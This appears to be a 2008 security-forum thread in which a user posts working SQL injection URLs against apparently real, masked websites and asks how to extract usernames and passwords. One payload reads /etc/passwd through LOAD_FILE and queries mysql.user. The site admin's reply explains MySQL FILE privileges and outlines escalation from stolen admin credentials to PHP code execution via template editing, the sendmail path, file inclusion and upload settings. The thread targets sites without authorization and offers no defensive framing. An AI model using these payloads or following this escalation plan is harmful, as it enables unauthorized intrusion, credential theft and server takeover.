|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
SQL inj exploit NOT complet !! |
|
Posted: Sun Jan 27, 2008 8:20 pm |
|
|
nox |
Advanced user |
|
|
Joined: Dec 29, 2007 |
Posts: 100 |
Location: c://windows/system32 |
|
|
|
|
|
|
Code: | http://********/fr/medias_communiques_affiche.php?id_communique=-1%20union%20select%201,2,3,table_name,5%20from%20information_schema.tables/* |
Code: | http://********/new_site/cheminotcgt_communiques/detail_communique.php?Id_communique=-1+union+select+1,2,3,4,5,5,6,5,7,8,9,10-- |
Code: | http://********/communique.php?id_communique=-1%20union%20select%201,2,3,4,5,6,7-- |
Code: | http://********/page.php?id_page=7&id_communique=-1%20union%20select%201,2,3,4,5,6,7/* |
Code: | http://********/storefronts.php?sf_id=-1%20union%20select%201,2,3,4/* |
can i get user & password ?
and why file /etc/passwd , not fond ???? in this ! : *******
http://*******/index.php?name=view&id=-1+UNION/**/SELECT/**/1,2,LOAD_FILE(0x2F6574632F706173737764),4,5,6%20from/**/mysql.user/*
Edited by waraxe |
|
_________________ ..::::[ Waraxe.us is the BEST and the TOP ]::::.. |
|
|
|
|
|
|
|
Posted: Mon Jan 28, 2008 10:30 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
Please don't post real URL-s next time!!
LOAD_FILE() and other file-related functions in mysql require FILE privileges. If website is hosted on shared server, then probably admin will not give such privileges to low-level users. Same story is with mysql.user - if server is secure, then you can't access mysql.user - "Access Denied" ...
So instead of escalating sql injection to php code level through INTO OUTFILE or reading files with LOAD_FILE you can try to find administrative interface, then fetch admin username and password from database and then try from web application admin interface escalate your privileges. Example - template editing can give you arbitrary php code execution possibilities, various website settings - sendmail path can give access to shell command exec, other pathes - local file inclusion, valid uploadable file extensions - you can change them and upload php files, etc ... possibilities are endless ... be creative |
|
|
|
|
|
www.waraxe.us Forum Index -> All other security holes
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|